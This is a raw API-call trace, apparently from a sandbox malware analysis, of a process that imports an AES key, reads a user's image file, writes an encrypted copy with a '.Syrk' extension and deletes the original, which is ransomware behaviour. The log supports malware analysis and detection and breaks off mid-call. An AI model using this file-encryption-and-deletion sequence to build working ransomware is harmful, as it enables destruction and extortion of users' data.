Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0252.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0252.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0252.565] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0252.565] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0252.565] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0252.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0252.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0252.565] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0252.565] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0252.565] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0252.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0252.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0252.565] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0252.566] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0252.566] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0252.566] EtwEventActivityIdControl () returned 0x0 [0252.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0252.566] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0252.566] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0252.566] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0252.568] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d320) returned 1 [0252.617] CryptImportKey (in: hProv=0x5c4d320, pbData=0x24d4500*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99920) returned 1 [0252.617] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0252.617] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.618] EtwEventActivityIdControl () returned 0x0 [0252.618] EtwEventActivityIdControl () returned 0x0 [0252.618] EtwEventActivityIdControl () returned 0x0 [0252.623] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif")) returned 0x20 [0252.624] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif")) returned 0x20 [0252.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.625] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", lpFilePart=0x0) returned 0x2c [0252.625] EtwEventActivityIdControl () returned 0x0 [0252.625] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.625] EtwEventActivityIdControl () returned 0x0 [0252.625] EtwEventActivityIdControl () returned 0x0 [0252.626] EtwEventActivityIdControl () returned 0x0 [0252.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", lpFilePart=0x0) returned 0x2c [0252.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0252.627] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0252.627] GetFileType (hFile=0x364) returned 0x1 [0252.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0252.627] GetFileType (hFile=0x364) returned 0x1 [0252.627] EtwEventActivityIdControl () returned 0x0 [0252.627] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.628] EtwEventActivityIdControl () returned 0x0 [0252.628] EtwEventActivityIdControl () returned 0x0 [0252.628] EtwEventActivityIdControl () returned 0x0 [0252.629] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0252.629] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif.Syrk", lpFilePart=0x0) returned 0x31 [0252.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0252.629] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0252.714] GetFileType (hFile=0x368) returned 0x1 [0252.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0252.714] GetFileType (hFile=0x368) returned 0x1 [0252.714] EtwEventActivityIdControl () returned 0x0 [0252.714] CryptGenRandom (in: hProv=0x5c4d320, dwLen=0x10, pbBuffer=0x24e4744 | out: pbBuffer=0x24e4744) returned 1 [0252.716] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0252.717] CryptDuplicateKey (in: hKey=0x5c99920, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99720) returned 1 [0252.717] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0252.717] CryptSetKeyParam (hKey=0x5c99720, dwParam=0x4, pbData=0x24e5a70*=0x1, dwFlags=0x0) returned 1 [0252.717] CryptSetKeyParam (hKey=0x5c99720, dwParam=0x1, pbData=0x24e5a3c, dwFlags=0x0) returned 1 [0252.717] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.718] EtwEventActivityIdControl () returned 0x0 [0252.718] EtwEventActivityIdControl () returned 0x0 [0252.719] EtwEventActivityIdControl () returned 0x0 [0252.721] EtwEventActivityIdControl () returned 0x0 [0252.721] ReadFile (in: hFile=0x364, lpBuffer=0x24e86b8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24e86b8*, lpNumberOfBytesRead=0x5a2e7d8*=0x9e7a, lpOverlapped=0x0) returned 1 [0252.723] CryptEncrypt (in: hKey=0x5c99720, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24fc6d0*, pdwDataLen=0x5a2e7cc*=0x9e70, dwBufLen=0x9e70 | out: pbData=0x24fc6d0*, pdwDataLen=0x5a2e7cc*=0x9e70) returned 1 [0252.724] WriteFile (in: hFile=0x368, lpBuffer=0x24e4820*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24e4820*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0252.851] WriteFile (in: hFile=0x368, lpBuffer=0x24fd6bc*, nNumberOfBytesToWrite=0x8e84, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24fd6bc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x8e84, lpOverlapped=0x0) returned 1 [0252.852] ReadFile (in: hFile=0x364, lpBuffer=0x24e86b8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24e86b8*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0252.853] CryptEncrypt (in: hKey=0x5c99720, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x250654c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x250654c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0252.853] CryptEncrypt (in: hKey=0x5c99720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2506568*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2506568*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0252.853] WriteFile (in: hFile=0x368, lpBuffer=0x24e4820*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24e4820*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0252.853] CloseHandle (hObject=0x368) returned 1 [0252.856] CloseHandle (hObject=0x364) returned 1 [0252.856] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.856] EtwEventActivityIdControl () returned 0x0 [0252.857] EtwEventActivityIdControl () returned 0x0 [0252.857] EtwEventActivityIdControl () returned 0x0 [0252.863] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif")) returned 0x20 [0252.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", lpFilePart=0x0) returned 0x2c [0252.869] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0252.869] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0252.869] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0252.869] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0252.869] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0252.869] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0252.870] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0252.870] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0252.870] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0252.870] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0252.870] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0252.870] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0252.870] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0252.871] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0252.871] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0252.871] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0252.871] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif")) returned 0x20 [0252.871] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.871] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", lpFilePart=0x0) returned 0x2c [0252.875] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.875] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", lpFilePart=0x0) returned 0x2c [0252.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0252.875] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.875] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", lpFilePart=0x0) returned 0x2c [0252.875] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0252.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0252.876] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0252.876] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0252.876] CoTaskMemFree (pv=0x3b0008) [0252.879] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif")) returned 0x20 [0252.879] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.879] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif", lpFilePart=0x0) returned 0x2c [0252.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0252.879] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif"), fInfoLevelId=0x0, lpFileInformation=0x251175c | out: lpFileInformation=0x251175c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d1bfe0, ftCreationTime.dwHighDateTime=0x1d98f9c, ftLastAccessTime.dwLowDateTime=0x3a1497e0, ftLastAccessTime.dwHighDateTime=0x1d99299, ftLastWriteTime.dwLowDateTime=0x3a1497e0, ftLastWriteTime.dwHighDateTime=0x1d99299, nFileSizeHigh=0x0, nFileSizeLow=0x9e7a)) returned 1 [0252.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0252.879] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif")) returned 1 [0252.883] EtwEventActivityIdControl () returned 0x0 [0252.883] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.884] EtwEventActivityIdControl () returned 0x0 [0252.884] EtwEventActivityIdControl () returned 0x0 [0252.884] EtwEventActivityIdControl () returned 0x0 [0252.892] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif.syrk")) returned 0x20 [0252.894] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif.syrk")) returned 0x20 [0252.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0252.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif.Syrk", lpFilePart=0x0) returned 0x31 [0252.894] EtwEventActivityIdControl () returned 0x0 [0252.895] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.895] EtwEventActivityIdControl () returned 0x0 [0252.895] EtwEventActivityIdControl () returned 0x0 [0252.895] EtwEventActivityIdControl () returned 0x0 [0253.047] EtwEventActivityIdControl () returned 0x0 [0253.048] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.048] EtwEventActivityIdControl () returned 0x0 [0253.048] EtwEventActivityIdControl () returned 0x0 [0253.048] EtwEventActivityIdControl () returned 0x0 [0253.053] EtwEventActivityIdControl () returned 0x0 [0253.053] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.054] EtwEventActivityIdControl () returned 0x0 [0253.054] EtwEventActivityIdControl () returned 0x0 [0253.054] EtwEventActivityIdControl () returned 0x0 [0253.059] EtwEventActivityIdControl () returned 0x0 [0253.059] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.059] EtwEventActivityIdControl () returned 0x0 [0253.059] EtwEventActivityIdControl () returned 0x0 [0253.059] EtwEventActivityIdControl () returned 0x0 [0253.064] EtwEventActivityIdControl () returned 0x0 [0253.064] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.065] EtwEventActivityIdControl () returned 0x0 [0253.065] EtwEventActivityIdControl () returned 0x0 [0253.065] EtwEventActivityIdControl () returned 0x0 [0253.073] EtwEventActivityIdControl () returned 0x0 [0253.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0253.078] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\mh_2oAjD6IQO.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\mh_2oajd6iqo.gif.syrk"), fInfoLevelId=0x0, lpFileInformation=0x251afcc | out: lpFileInformation=0x251afcc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x123f4090, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x123f4090, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x1262f530, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x9e94)) returned 1 [0253.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0253.080] GetConsoleOutputCP () returned 0x1b5 [0253.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.115] GetConsoleOutputCP () returned 0x1b5 [0253.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.116] GetConsoleOutputCP () returned 0x1b5 [0253.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.116] GetConsoleOutputCP () returned 0x1b5 [0253.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.116] GetConsoleOutputCP () returned 0x1b5 [0253.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.117] GetConsoleOutputCP () returned 0x1b5 [0253.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.117] GetConsoleOutputCP () returned 0x1b5 [0253.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.117] GetConsoleOutputCP () returned 0x1b5 [0253.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.118] GetConsoleOutputCP () returned 0x1b5 [0253.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.118] GetConsoleOutputCP () returned 0x1b5 [0253.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.118] GetConsoleOutputCP () returned 0x1b5 [0253.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.119] GetConsoleOutputCP () returned 0x1b5 [0253.119] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.119] GetConsoleOutputCP () returned 0x1b5 [0253.119] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.119] GetConsoleOutputCP () returned 0x1b5 [0253.119] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.119] GetConsoleOutputCP () returned 0x1b5 [0253.120] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.120] GetConsoleOutputCP () returned 0x1b5 [0253.120] TranslateCharsetInfo (in: 